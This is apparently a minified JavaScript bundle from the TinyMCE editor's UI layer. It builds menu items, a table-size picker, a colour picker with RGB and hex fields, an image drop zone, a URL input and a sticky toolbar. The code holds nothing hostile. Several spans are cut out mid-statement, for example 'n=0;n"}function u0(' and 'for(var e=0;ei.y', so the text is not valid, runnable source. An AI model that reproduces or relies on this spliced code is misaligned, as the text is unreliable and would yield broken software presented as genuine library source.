et(M(e,function(n){return"choiceitem"===n.type?ao("choicemenuitem",Uh,n).fold(rh,function(t){return vt.some(function(n,t,e,o,r,i,u,a){void 0===a&&(a=!0);var c=Ev({presets:e,textContent:t?n.text:vt.none(),htmlContent:vt.none(),ariaLabel:n.text,iconContent:n.icon,shortcutContent:t?n.shortcut:vt.none(),checkMark:t?vt.some(_v(u.icons)):vt.none(),caret:vt.none(),value:n.value},u,a);return Yo(yv({data:xv(n),disabled:n.disabled,getApi:function(n){return{setActive:function(t){Lg.set(n,t)},isActive:function(){return Lg.isOn(n)},isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)}}},onAction:function(t){return o(n.value)},onSetup:function(t){return t.setActive(r),st},triggersSubmenu:!1,itemBehaviours:[]},c,i,u),{toggling:{toggleClass:Th,toggleOnExecute:!1,selected:n.active}})}(t,1===r,i,o,a(n.value),u,c,oh(e)))}):vt.none()}))},Vb=Ir("cell-over"),Pb=Ir("cell-execute"),Hb={inserttable:function(u){var t=Ir("size-label"),a=function(t){for(var n=[],e=0;e<10;e++){for(var o=[],r=0;r<10;r++)o.push(function(n,e,t){function o(t){return br(t,Pb,{row:n,col:e})}function r(t,n){n.stop(),o(t)}var i;return Tu({dom:{tag:"div",attributes:((i={role:"button"})["aria-labelledby"]=t,i)},behaviours:nc([mm("insert-table-picker-cell",[Cr(vi(),Hg.focus),Cr(Ii(),o),Cr(Ci(),r),Cr(Vi(),r)]),Lg.config({toggleClass:"tox-insert-table-picker__selected",toggleOnExecute:!1}),Hg.config({onFocus:function(t){return br(t,Vb,{row:n,col:e})}})])})}(e,r,t));n.push(o)}return n}(t),n=Tb(0,0),c=zm({dom:{tag:"span",classes:["tox-insert-table-picker__label"],attributes:{id:t}},components:[n],behaviours:nc([Rg.config({})])});return{type:"widget",data:{value:Ir("widget-id")},dom:{tag:"div",classes:["tox-fancymenuitem"]},autofocus:!0,components:[ob.widget({dom:{tag:"div",classes:["tox-insert-table-picker"]},components:z(a,function(t){return M(t,Eu)}).concat(c.asSpec()),behaviours:nc([mm("insert-table-picker",[ou(function(t){Rg.set(c.get(t),[n])}),Er(Vb,function(t,n,e){var o=e.event,r=o.row,i=o.col;!function(t,n,e){for(var o=0;o<10;o++)for(var r=0;r<10;r++)Lg.set(t[o][r],o<=n&&r<=e)}(a,r,i),Rg.set(c.get(t),[Tb(r+1,i+1)])}),Er(Pb,function(t,n,e){var o=e.event,r=o.row,i=o.col;u.onAction({numRows:r+1,numColumns:i+1}),vr(t,Hi())})]),Fg.config({initSize:{numRows:10,numColumns:10},mode:"flatgrid",selector:'[role="button"]'})])})]}},colorswatch:function(n,t){var e,o,r,i=(o=t,r=(e=n).initData.allowCustomColors&&o.colorinput.hasCustomColors(),e.initData.colors.fold(function(){return xb(o.colorinput.getColors(),r)},function(t){return t.concat(bb(r))})),u=t.colorinput.getColorCols(),a=Ob(Ir("menu-value"),i,function(t){n.onAction({value:t})},u,"color",Sh.CLOSE_ON_EXECUTE,T,t.shared.providers),c=lt(lt({},a),{markers:Qp("color"),movement:_b(u,"color")});return{type:"widget",data:{value:Ir("widget-id")},dom:{tag:"div",classes:["tox-fancymenuitem"]},autofocus:!0,components:[ob.widget(tp.sketch(c))]}}},zb=function(t){var n=t.text.fold(function(){return{}},function(t){return{innerHtml:t}});return{type:"separator",dom:lt({tag:"div",classes:[Ch,"tox-collection__group-heading"]},n),components:[]}},Nb=function(t,n,e,o){void 0===o&&(o=!0);var r=Ev({presets:"normal",iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,caret:vt.none(),checkMark:vt.none(),shortcutContent:t.shortcut},e,o);return yv({data:xv(t),getApi:function(n){return{isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)}}},disabled:t.disabled,onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:[]},r,n,e)},Lb=function(t,n,e,o,r){void 0===o&&(o=!0);var i=(r=void 0!==r&&r)?wv("chevron-down",e.icons,[Bh]):wv("chevron-right",e.icons,[Bh]),u=Ev({presets:"normal",iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,caret:vt.some(i),checkMark:vt.none(),shortcutContent:t.shortcut},e,o);return yv({data:xv(t),getApi:function(n){return{isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)}}},disabled:t.disabled,onAction:st,onSetup:t.onSetup,triggersSubmenu:!0,itemBehaviours:[]},u,n,e)},Wb=function(t,n,e,o){void 0===o&&(o=!0);var r=Ev({iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,checkMark:vt.some(_v(e.icons)),caret:vt.none(),shortcutContent:t.shortcut,presets:"normal",meta:t.meta},e,o);return Yo(yv({data:xv(t),disabled:t.disabled,getApi:function(n){return{setActive:function(t){Lg.set(n,t)},isActive:function(){return Lg.isOn(n)},isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)}}},onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:[]},r,n,e),{toggling:{toggleClass:Th,toggleOnExecute:!1,selected:t.active}})},Ub=function(n,e){return tt(Hb,n.fancytype).map(function(t){return t(n,e)})};function jb(t,u,a,n,c,s,l){var e=1===n,o=!e||oh(t);return et(M(t,function(t){switch(t.type){case"separator":return ao("Autocompleter.Separator",Rp,t).fold(rh,function(t){return vt.some(zb(t))});case"cardmenuitem":return ao("cardmenuitem",Wh,t).fold(rh,function(n){return vt.some((t=lt(lt({},n),{onAction:function(t){n.onAction(t),a(n.value,n.meta)}}),e=c,o=s,r={itemBehaviours:Dv(n.meta,s),cardText:{matchText:u,highlightOn:l}},i={dom:Tv(t.label),optComponents:[vt.some({dom:{tag:"div",classes:[Ah,Fh]},components:eb(t.items,r)})]},yv({data:xv(lt({text:vt.none()},t)),disabled:t.disabled,getApi:function(e){return{isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(n){gd.set(e,n),St(vs(e.element,"*"),function(t){e.getSystem().getByDom(t).each(function(t){t.hasConfigured(gd)&&gd.set(t,n)})})}}},onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:vt.from(r.itemBehaviours).getOr([])},i,e,o.providers)));var t,e,o,r,i});default:return ao("Autocompleter.Item",Vp,t).fold(rh,function(t){return vt.some(function(n,e,t,o,r,i,u,a){void 0===a&&(a=!0);var c=Ev({presets:o,textContent:vt.none(),htmlContent:t?n.text.map(function(t){return Bv(t,e)}):vt.none(),ariaLabel:n.text,iconContent:n.icon,shortcutContent:vt.none(),checkMark:vt.none(),caret:vt.none(),value:n.value},u.providers,a,n.icon);return yv({data:xv(n),disabled:n.disabled,getApi:rt({}),onAction:function(t){return r(n.value,n.meta)},onSetup:rt(st),triggersSubmenu:!1,itemBehaviours:Dv(n.meta,u)},c,i,u.providers)}(t,u,e,"normal",a,c,s,o))})}}))}function Gb(t,n,e,o,r){var i=oh(n),u=et(M(n,function(t){function n(t){return function(t,n,e,o,r){function i(t){return r?lt(lt({},t),{shortcut:vt.none(),icon:t.text.isSome()?vt.none():t.icon}):t}var u=e.shared.providers;switch(t.type){case"menuitem":return ao("menuitem",Xh,t).fold(rh,function(t){return vt.some(Nb(i(t),n,u,o))});case"nestedmenuitem":return ao("nestedmenuitem",Yh,t).fold(rh,function(t){return vt.some(Lb(i(t),n,u,o,r))});case"togglemenuitem":return ao("togglemenuitem",qh,t).fold(rh,function(t){return vt.some(Wb(i(t),n,u,o))});case"separator":return ao("separatormenuitem",Rp,t).fold(rh,function(t){return vt.some(zb(t))});case"fancymenuitem":return ao("fancymenuitem",Gh,t).fold(rh,function(t){return Ub(i(t),e)});default:return console.error("Unknown item in general menu",t),vt.none()}}(t,e,o,r?!Tt(t,"text"):i,r)}return"nestedmenuitem"===t.type&&t.getSubmenuItems().length<=0?n(lt(lt({},t),{disabled:!0})):n(t)}));return(r?ih:uh)(t,i,u,1,"normal")}function Xb(t){return ip.singleData(t.value,t)}function Yb(t,n,e){return Ru(t,n,e).isSome()}function qb(e,o){var r=null;return{cancel:function(){null!==r&&(clearTimeout(r),r=null)},schedule:function(){for(var t=[],n=0;n"}function u0(f,d,m,g){function p(t,n,e,o,r){var i,u,a=f(uS+"range"),c=[my.parts.label({dom:{tag:"label",innerHtml:e,attributes:{"aria-label":o}}}),my.parts.field({data:r,factory:Dy,inputAttributes:lt({type:"text"},"hex"===n?{"aria-live":"polite"}:{}),inputClasses:[d("textfield")],inputBehaviours:nc([(i=n,u=t,Ky.config({invalidClass:d("invalid"),notify:{onValidate:function(t){br(t,iS,{type:i})},onValid:function(t){br(t,oS,{type:i,value:Df.getValue(t)})},onInvalid:function(t){br(t,rS,{type:i,value:Df.getValue(t)})}},validator:{validate:function(t){var n=Df.getValue(t),e=u(n)?Ve.value(!0):Ve.error(f("aria.input.invalid"));return Gy(e)},validateOnLoad:!1}})),py.config({})]),onSetValue:function(t){Ky.isInvalid(t)&&Ky.run(t).get(st)}})],s="hex"!==n?[my.parts["aria-descriptor"]({text:a})]:[];return{dom:{tag:"div",attributes:{role:"presentation"}},components:c.concat(s)}}function h(t,n){var e=n.red,o=n.green,r=n.blue;Df.setValue(t,{red:e,green:o,blue:r})}function v(t,n){b.getOpt(t).each(function(t){dn(t.element,"background-color","#"+n.value)})}var b=zm({dom:{tag:"div",classes:[d("rgba-preview")],styles:{"background-color":"white"},attributes:{role:"presentation"}}});return kl({factory:function(){function a(t){return o[t].get()}function c(t,n){o[t].set(n)}function n(t,n){var e=n.event;"hex"!==e.type?c(e.type,vt.none()):g(t)}function e(t,n){var r,e,o,i,u=n.event;"hex"===u.type?function(t,n){m(t);var e=Mv(n);c("hex",vt.some(n));var o=Hv(e);h(t,o),s(o),br(t,Qw,{hex:e}),v(t,e)}(t,u.value):(r=t,e=u.type,o=u.value,i=parseInt(o,10),c(e,vt.some(i)),a("red").bind(function(e){return a("green").bind(function(n){return a("blue").map(function(t){return Rv(e,n,t,1)})})}).each(function(t){var n,e,o=(n=r,e=Iv(t),eS.getField(n,"hex").each(function(t){Hg.isFocused(t)||Df.setValue(n,{hex:e.value})}),e);br(r,Qw,{hex:o}),v(r,o)}))}function t(t){return{label:f(uS+t+".label"),description:f(uS+t+".description")}}function s(t){var n=t.red,e=t.green,o=t.blue;c("red",vt.some(n)),c("green",vt.some(e)),c("blue",vt.some(o))}var o={red:Po(vt.some(255)),green:Po(vt.some(255)),blue:Po(vt.some(255)),hex:Po(vt.some("ffffff"))},r=t("red"),i=t("green"),u=t("blue"),l=t("hex");return Yo(eS.sketch(function(t){return{dom:{tag:"form",classes:[d("rgb-form")],attributes:{"aria-label":f("aria.color.picker")}},components:[t.field("red",my.sketch(p(Vv,"red",r.label,r.description,255))),t.field("green",my.sketch(p(Vv,"green",i.label,i.description,255))),t.field("blue",my.sketch(p(Vv,"blue",u.label,u.description,255))),t.field("hex",my.sketch(p(Av,"hex",l.label,l.description,"ffffff"))),b.asSpec()],formBehaviours:nc([Ky.config({invalidClass:d("form-invalid")}),mm("rgb-form-events",[Cr(oS,e),Cr(rS,n),Cr(iS,n)])])}}),{apis:{updateHex:function(t,n){var e;Df.setValue(t,{hex:n.value}),h(t,e=Hv(n)),s(e),v(t,n)}}})},name:"RgbForm",configFields:[],apis:{updateHex:function(t,n,e){t.updateHex(n,e)}},extraApis:{}})}function a0(x,w){return kl({name:"ColourPicker",configFields:[mo("dom"),Eo("onValidHex",st),Eo("onInvalidHex",st)],factory:function(t){function n(t,n,e){v.getOpt(t).each(function(t){g.setHue(t,e)})}function e(t,n){b.getOpt(t).each(function(t){m.updateHex(t,n)})}function r(n,e,o,t){var r=o,i=Hv(e);p.paletteRgba.set(i),p.paletteHue.set(r),St(t,function(t){t(n,e,o)})}var o,i,u,a,c,s,l,f,d,m=u0(x,w,t.onValidHex,t.onInvalidHex),g=(l=w,f=$w.parts.spectrum({dom:{tag:"canvas",attributes:{role:"presentation"},classes:[l("sv-palette-spectrum")]}}),d=$w.parts.thumb({dom:{tag:"div",attributes:{role:"presentation"},classes:[l("sv-palette-thumb")],innerHtml:"'}}),kl({factory:function(t){var n=rt({x:0,y:0}),e=nc([cd.config({find:vt.some}),Hg.config({})]);return $w.sketch({dom:{tag:"div",attributes:{role:"presentation"},classes:[l("sv-palette")]},model:{mode:"xy",getInitialValue:n},rounded:!1,components:[f,d],onChange:function(t,n,e){br(t,tS,{value:e})},onInit:function(t,n,e,o){y(e.element.dom,Lv(fb))},sliderBehaviours:e})},name:"SaturationBrightnessPalette",configFields:[],apis:{setHue:function(t,n,e){var o=e;y(n.components()[0].element.dom,Lv(Pv(Uv(o,100,100))))},setThumb:function(t,n,e){var o=n,r=jv(Hv(e));$w.setValue(o,{x:r.saturation,y:100-r.value})}},extraApis:{}})),p={paletteRgba:Po(fb),paletteHue:Po(0)},h=zm((i=$w.parts.spectrum({dom:{tag:"div",classes:[(o=w)("hue-slider-spectrum")],attributes:{role:"presentation"}}}),u=$w.parts.thumb({dom:{tag:"div",classes:[o("hue-slider-thumb")],attributes:{role:"presentation"}}}),$w.sketch({dom:{tag:"div",classes:[o("hue-slider")],attributes:{role:"presentation"}},rounded:!1,model:{mode:"y",getInitialValue:rt({y:0})},components:[i,u],sliderBehaviours:nc([Hg.config({})]),onChange:function(t,n,e){br(t,Zw,{value:e})}}))),v=zm(g.sketch({})),b=zm(m.sketch({}));function y(t,n){var e,o,r=t.width,i=t.height,u=t.getContext("2d");null!==u&&(u.fillStyle=n,u.fillRect(0,0,r,i),(e=u.createLinearGradient(0,0,r,0)).addColorStop(0,"rgba(255,255,255,1)"),e.addColorStop(1,"rgba(255,255,255,0)"),u.fillStyle=e,u.fillRect(0,0,r,i),(o=u.createLinearGradient(0,0,0,i)).addColorStop(0,"rgba(0,0,0,0)"),o.addColorStop(1,"rgba(0,0,0,1)"),u.fillStyle=o,u.fillRect(0,0,r,i))}return{uid:t.uid,dom:t.dom,components:[v.asSpec(),h.asSpec(),b.asSpec()],behaviours:nc([mm("colour-picker-events",[Cr(Qw,(s=[n,function(t,n,e){h.getOpt(t).each(function(t){$w.setValue(t,{y:100-e/360*100})})},function(t,n){v.getOpt(t).each(function(t){g.setThumb(t,n)})}],function(t,n){var e=n.event.hex;r(t,e,jv(Hv(e)).hue,s)})),Cr(tS,(c=[e],function(t,n){var e=n.event.value,o=p.paletteHue.get();r(t,Gv(Uv(o,e.x,100-e.y)),o,c)})),Cr(Zw,(a=[n,e],function(t,n){var e=(100-n.event.value.y)/100*360,o=jv(p.paletteRgba.get());r(t,Gv(Uv(e,o.saturation,o.value)),e,a)}))]),cd.config({find:function(t){return b.getOpt(t)}}),Fg.config({mode:"acyclic"})])}}})}function c0(t){return sS[t]}function s0(t,n,e){return Df.config(Yo({store:{mode:"manual",getValue:n,setValue:e}},t.map(function(t){return{store:{initialValue:t}}}).getOr({})))}function l0(r,i){function n(t,n){n.stop()}function e(t){return function(n,e){St(t,function(t){t(n,e)})}}function o(t,n){var e;gd.isDisabled(t)||(e=n.event.raw,a(t,e.dataTransfer.files))}function u(t,n){var e=n.event.raw.target;a(t,e.files)}function a(t,n){var e,o;Df.setValue(t,(e=n,o=fS.explode(i.getSetting("images_file_types","jpeg,jpg,jpe,jfi,jif,jfif,png,gif,bmp,webp","string")),F(kt(e),function(n){return d(o,function(t){return Bt(n.name.toLowerCase(),"."+t.toLowerCase())})}))),br(t,yy,{name:r.name})}var c=zm({dom:{tag:"input",attributes:{type:"file",accept:"image/*"},styles:{display:"none"}},behaviours:nc([mm("input-file-events",[Dr(Ci()),Dr(Vi())])])});return ey(r.label.map(function(t){return oy(t,i)}),my.parts.field({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"div",classes:["tox-dropzone-container"]},behaviours:nc([pS([]),aw(),gd.config({}),Lg.config({toggleClass:"dragenter",toggleOnExecute:!1}),mm("dropzone-events",[Cr("dragenter",e([n,Lg.toggle])),Cr("dragleave",e([n,Lg.toggle])),Cr("dragover",n),Cr("drop",e([n,o])),Cr(ki(),u)])]),components:[{dom:{tag:"div",classes:["tox-dropzone"],styles:{}},components:[{dom:{tag:"p",innerHtml:i.translate("Drop an image here")}},fp.sketch({dom:{tag:"button",innerHtml:i.translate("Browse for an image"),styles:{position:"relative"},classes:["tox-button","tox-button--secondary"]},components:[c.asSpec()],action:function(t){c.get(t).element.dom.click()},buttonBehaviours:nc([py.config({}),$v(i.isDisabled),pv()])})]}]}}}}),["tox-form__group--stretched"],[])}function f0(t){return{dom:{tag:"div",styles:{width:"1px",height:"1px",outline:"none"},attributes:{tabindex:"0"},classes:t},behaviours:nc([Hg.config({ignore:!0}),py.config({})])}}function d0(t){return{dom:{tag:"div",classes:["tox-navobj"]},components:[f0([hS]),t,f0([vS])],behaviours:nc([cS(1)])}}function m0(t,n){br(t,xi(),{raw:{which:9,shiftKey:n}})}function g0(t,n){var e=n.element;Kr(e,hS)?m0(t,!0):Kr(e,vS)&&m0(t,!1)}function p0(t){return Yb(t,["."+hS,"."+vS].join(","),T)}function h0(t,n){return xS(document.createElement("canvas"),t,n)}function v0(t){var n=h0(t.width,t.height);return yS(n).drawImage(t,0,0),n}function b0(t){return t.naturalWidth||t.width}function y0(t){return t.naturalHeight||t.height}function x0(t,o,r){return o=o||"image/png",S(HTMLCanvasElement.prototype.toBlob)?new Ny(function(n,e){t.toBlob(function(t){t?n(t):e()},o,r)}):(g=t.toDataURL(o,r),new Ny(function(t,n){!function(){var t=g.split(","),n=/data:([^;]+)/.exec(t[0]);if(!n)return vt.none();for(var e=n[1],o=t[1],r=atob(o),i=r.length,u=Math.ceil(i/1024),a=new Array(u),c=0;c",t)}).toArray(),dk("anchor",t.targets),vt.from(t.anchorBottom).map(function(t){return fk("",t)}).toArray()]))],function(t,n){return 0===t.length||0===n.length?t.concat(n):t.concat(h1,n)},[]):n})),Sh.BUBBLE_TO_SANDBOX,a,!1);return Gy(i)},getHotspot:function(t){return p.getOpt(t)},onSetValue:function(t,n){t.hasConfigured(Ky)&&Ky.run(t).get(st)},typeaheadBehaviours:nc(ft([c.getValidationHandler().map(function(e){return Ky.config({getRoot:function(t){return Yt(t.element)},invalidClass:"tox-control-wrap--status-invalid",notify:{onInvalid:function(t,n){f.getOpt(t).each(function(t){on(t.element,"title",i.translate(n))})}},validator:{validate:function(t){var n=Df.getValue(t);return p1(function(o){e({type:u.filetype,url:n.value},function(t){var n,e;"invalid"===t.status?(n=Ve.error(t.message),o(n)):(e=Ve.value(t.message),o(e))})})},validateOnLoad:!1}})}).toArray(),[gd.config({disabled:function(){return u.disabled||i.isDisabled()}}),py.config({}),mm("urlinput-events",ft(["file"===u.filetype?[Cr(Si(),function(t){br(t,yy,{name:u.name})})]:[],[Cr(ki(),function(t){br(t,yy,{name:u.name}),r(t)}),Cr(Ai(),function(t){br(t,yy,{name:u.name}),r(t)})]]))]])),eventOrder:((t={})[Si()]=["streaming","urlinput-events","invalidating"],t),model:{getDisplayText:function(t){return t.value},selectsOver:!1,populateFromBrowse:!1},markers:{openClass:"tox-textfield--popup-open"},lazySink:a.shared.getSink,parts:{menu:Zp(0,0,"normal")},onExecute:function(t,n,e){br(n,ky,{})},onItemExecute:function(t,n,e,o){r(t),br(t,yy,{name:u.name})}}),l=u.label.map(function(t){return oy(t,i)}),f=zm((n="invalid",e=vt.some(v1),Xm("warning",{tag:"div",classes:["tox-icon","tox-control-wrap__status-icon-"+n],attributes:lt({title:i.translate(o=void 0===o?n:o),"aria-live":"polite"},e.fold(function(){return{}},function(t){return{id:t}}))},i.icons))),d=zm({dom:{tag:"div",classes:["tox-control-wrap__status-icon-wrap"]},components:[f.asSpec()]}),m=c.getUrlPicker(u.filetype),g=Ir("browser.url.event"),p=zm({dom:{tag:"div",classes:["tox-control-wrap"]},components:[s,d.asSpec()],behaviours:nc([gd.config({disabled:function(){return u.disabled||i.isDisabled()}})])}),h=zm(J0({name:u.name,icon:vt.some("browse"),text:u.label.getOr(""),disabled:u.disabled,primary:!1,borderless:!0},function(t){return vr(t,g)},i,[],["tox-browse-url"]));return my.sketch({dom:by([]),components:l.toArray().concat([{dom:{tag:"div",classes:["tox-form__controls-h-stack"]},components:ft([[p.asSpec()],m.map(function(){return h.asSpec()}).toArray()])}]),fieldBehaviours:nc([gd.config({disabled:function(){return u.disabled||i.isDisabled()},onDisabled:function(t){my.getField(t).each(gd.disable),h.getOpt(t).each(gd.disable)},onEnabled:function(t){my.getField(t).each(gd.enable),h.getOpt(t).each(gd.enable)}}),pv(),mm("url-input-events",[Cr(g,function(o){cd.getCurrent(o).each(function(n){var t=Df.getValue(n),e=lt({fieldname:u.name},t);m.each(function(t){t(e).get(function(t){Df.setValue(n,t),br(o,yy,{name:u.name})})})})})])])})}function pk(r){return function(n,e,o){return tt(e,"name").fold(function(){return r(e,o)},function(t){return n.field(t,r(e,o))})}}function hk(n,t,e){var o=Yo(e,{shared:{interpreter:function(t){return x1(n,t,o)}}});return x1(n,t,o)}function vk(t,n,e){function o(){return At.fromDom(t.getContentAreaContainer())}function r(){return p||!e()}var i,u,a,c,s,l,f,d,m,g,p=sv(t);return{inlineDialog:(f=o,d=n,m=r,g={maxHeightFunction:Vc()},function(){return m()?{type:"node",root:tn(f()),node:vt.from(f()),bubble:Sc(12,12,w1),layouts:{onRtl:function(){return[Am]},onLtr:function(){return[Mm]}},overrides:g}:{type:"hotspot",hotspot:d(),bubble:Sc(-12,12,w1),layouts:{onRtl:function(){return[Xa]},onLtr:function(){return[Ya]}},overrides:g}}),banner:(c=o,s=n,l=r,function(){return l()?{type:"node",root:tn(c()),node:vt.from(c()),layouts:{onRtl:function(){return[cp]},onLtr:function(){return[cp]}}}:{type:"hotspot",hotspot:s(),layouts:{onRtl:function(){return[$a]},onLtr:function(){return[$a]}}}}),cursor:(u=t,function(){return{type:"selection",root:a(),getSelection:function(){var t=u.selection.getRng();return vt.some(ms.range(At.fromDom(t.startContainer),t.startOffset,At.fromDom(t.endContainer),t.endOffset))}}}),node:(i=a=function(){return At.fromDom(t.getBody())},function(t){return{type:"node",root:i(),node:t}})}}function bk(i){return vt.from(i.getParam("style_formats")).filter(c).map(function(t){var n,e,o=(n=i,e=k1(t),n.formatter?r(e.customFormats):n.on("init",function(){r(e.customFormats)}),e.formats);function r(t){St(t,function(t){n.formatter.has(t.name)||n.formatter.register(t.name,t.format)})}return i.getParam("style_formats_merge",!1,"boolean")?S1.concat(o):o}).getOr(S1)}function yk(t,n,e){var o={type:"formatter",isSelected:n(t.format),getStylePreview:e(t.format)};return Yo(t,o)}function xk(c,t,s,l){var f=function(t){return M(t,function(t){var n,e,o,r,i,u=Ct(t);if(nt(t,"items")){var a=f(t.items);return Yo(Yo(t,{type:"submenu"}),{getStyleItems:rt(a)})}return nt(t,"format")?yk(t,s,l):1===u.length&&wt(u,"title")?Yo(t,{type:"separator"}):(r={type:"formatter",format:o="custom-"+(e=y((n=t).name)?n.name:Ir(n.title)),isSelected:s(o),getStylePreview:l(o)},i=Yo(n,r),c.formatter.register(e,i),i)})};return f(t)}function wk(e){return function(t){if(k(n=t)&&1===n.nodeType){if(t.contentEditable===e)return!0;if(t.getAttribute("data-mce-contenteditable")===e)return!0}var n;return!1}}function Sk(t,n,e,o,r){return{type:t,title:n,url:e,level:o,attach:r}}function kk(t){return t.innerText||t.textContent}function Ck(t){return t&&"A"===t.nodeName&&void 0!==(t.id||t.name)&&JC(t)}function Ok(t){return t&&/^(H[1-6])$/.test(t.nodeName)}function _k(t){return Ok(t)&&JC(t)}function Tk(t){var n,e=t.id||Ir("h");return Sk("header",kk(t),"#"+e,Ok(n=t)?parseInt(n.nodeName.substr(1),10):0,function(){t.id=e})}function Ek(t){var n=t.id||t.name;return Sk("anchor",kk(t)||"#"+n,"#"+n,0,st)}function Dk(t){return 0=e.y}})}function Xk(n,t){return t.getInitialPos().map(function(t){return Me(t.bounds.x,t.bounds.y,On(n),wn(n))})}function Yk(e,o,r){return r.getInitialPos().bind(function(t){switch(r.clearInitialPos(),t.position){case"static":return vt.some(z1.static());case"absolute":var n=Lk(e).map(Ae).getOrThunk(function(){return Ae(be())});return vt.some(z1.absolute(Ea("absolute",tt(t.style,"left").map(function(t){return o.x-n.x}),tt(t.style,"top").map(function(t){return o.y-n.y}),tt(t.style,"right").map(function(t){return n.right-o.right}),tt(t.style,"bottom").map(function(t){return n.bottom-o.bottom}))));default:return vt.none()}})}function qk(t,n,e){var o,r,i,u=t.element;return mt(hn(u,"position"),"fixed")?(r=n,Xk(o=u,i=e).filter(function(t){return Gk(i.getModes(),t,r)}).bind(function(t){return Yk(o,t,i)})):function(t,n,e){var r,o,i=Ae(t);if(Gk(e.getModes(),i,n))return vt.none();r=t,o=i,e.setInitialPos({style:function(){var t={},n=r.dom;if(ct(n))for(var e=0;ei.y;n!==r.isVisible()&&(r.setVisible(n),u&&!n?(Jr(o.element,[e.fadeOutClass]),e.onHide(o)):(n?Uk:jk)(o,e))})})}function Qk(t,n,e){var o,r,i,u,a,c;e.isDocked()&&(r=n,i=e,c=(o=t).element,i.setDocked(!1),Xk(a=o.element,u=i).bind(function(t){return Yk(a,t,u)}).each(function(t){t.fold(function(){return Kk(o,r,i)},function(t){return Jk(o,r,i,t)},st)}),i.setVisible(!0),r.contextual.each(function(t){$r(c,[t.fadeInClass,t.fadeOutClass,t.transitionClass]),t.onShow(o)}),N1(o,r,i))}function Zk(t,n){return wt(U1.getModes(t),n)}function tC(r){var i=r.element;Yt(i).each(function(t){var n,e,o="padding-"+U1.getModes(r)[0];U1.isDocked(r)?(n=On(t),dn(i,"width",n+"px"),dn(t,o,Sn(e=i)+(parseInt(pn(e,"margin-top"),10)||0)+(parseInt(pn(e,"margin-bottom"),10)||0)+"px")):(bn(i,"width"),bn(t,o))})}function nC(t,n){n?(qr(t,G1.fadeOutClass),Jr(t,[G1.transitionClass,G1.fadeInClass])):(qr(t,G1.fadeInClass),Jr(t,[G1.fadeOutClass,G1.transitionClass]))}function eC(t,n){var e=At.fromDom(t.getContainer());n?(Yr(e,X1),qr(e,Y1)):(Yr(e,Y1),qr(e,X1))}function oC(u,t){function o(n){r().each(function(t){return n(t.element)})}function n(t){u.inline||tC(t),eC(u,U1.isDocked(t)),t.getSystem().broadcastOn([xf()],{}),r().each(function(t){return t.getSystem().broadcastOn([xf()],{})})}var e,i=gc(),r=t.getSink,a=u.inline?[]:[ic.config({channels:((e={})[j1()]={onReceive:tC},e)})];return H([Hg.config({}),U1.config({contextual:lt({lazyContext:function(t){var n=Sn(t.element),e=u.inline?u.getContentAreaContainer():u.getContainer(),o=Ae(At.fromDom(e)),r=o.height-n,i=o.y+(Zk(t,"top")?0:n);return vt.some(Me(o.x,i,o.width,r))},onShow:function(){o(function(t){return nC(t,!0)})},onShown:function(r){o(function(t){return $r(t,[G1.transitionClass,G1.fadeInClass])}),i.get().each(function(t){var n,e=r.element,o=Ut(n=t);Oa(o).filter(function(t){return!Lt(n,t)}).filter(function(t){return Lt(t,At.fromDom(o.dom.body))||Wt(e,t)}).each(function(){return ka(n)}),i.clear()})},onHide:function(t){var n=t.element,e=r;_a(n).orThunk(function(){return e().toOptional().bind(function(t){return _a(t.element)})}).fold(i.clear,i.set),o(function(t){return nC(t,!1)})},onHidden:function(){o(function(t){return $r(t,[G1.transitionClass])})}},G1),lazyViewport:function(t){var n=Fe(),e=u.getParam("toolbar_sticky_offset",0,"number"),o=n.y+(Zk(t,"top")?e:0),r=n.height-(Zk(t,"bottom")?e:0);return Me(n.x,o,n.width,r)},modes:[t.header.getDockingMode()],onDocked:n,onUndocked:n})],a,!0)}function rC(t){return ao("menubutton",$1,t)}function iC(n,t){return t.getAnimationRoot.fold(function(){return n.element},function(t){return t(n)})}function uC(t){return t.dimension.property}function aC(t,n){return t.dimension.getDimension(n)}function cC(t,n){$r(iC(t,n),[n.shrinkingClass,n.growingClass])}function sC(t,n){qr(t.element,n.openClass),Yr(t.element,n.closedClass),dn(t.element,uC(n),"0px"),yn(t.element)}function lC(t,n){qr(t.element,n.closedClass),Yr(t.element,n.openClass),bn(t.element,uC(n))}function fC(t,n,e,o){e.setCollapsed(),dn(t.element,uC(n),aC(n,t.element)),yn(t.element),cC(t,n),sC(t,n),n.onStartShrink(t),n.onShrunk(t)}function dC(t,n,e){var o=aC(n,t.element);("0px"===o?fC:function(t,n,e,o){var r=o.getOrThunk(function(){return aC(n,t.element)});e.setCollapsed(),dn(t.element,uC(n),r),yn(t.element);var i=iC(t,n);qr(i,n.growingClass),Yr(i,n.shrinkingClass),sC(t,n),n.onStartShrink(t)})(t,n,e,vt.some(o))}function mC(t,n,e){var o=iC(t,n),r=Kr(o,n.shrinkingClass),i=aC(n,t.element);lC(t,n);var u=aC(n,t.element);(r?function(){dn(t.element,uC(n),i),yn(t.element)}:function(){sC(t,n)})(),qr(o,n.shrinkingClass),Yr(o,n.growingClass),lC(t,n),dn(t.element,uC(n),u),e.setExpanded(),n.onStartGrow(t)}function gC(t,n,e){return!0===Kr(iC(t,n),n.growingClass)}function pC(t,n,e){return!0===Kr(iC(t,n),n.shrinkingClass)}function hC(t){return""}function vC(t){return{element:function(){return t.element.dom}}}function bC(t,e){cd.getCurrent(t).each(function(t){return Rg.set(t,[(n=e,uO.sketch(function(t){return{dom:{tag:"div",classes:["tox-sidebar__pane-container"]},components:(e=t,r=M(Ct(o=n),function(t){var n=o[t],e=co(ao("sidebar",aO,n));return{name:t,getApi:vC,onSetup:e.onSetup,onShow:e.onShow,onHide:e.onHide}}),M(r,function(t){var n=Po(st);return 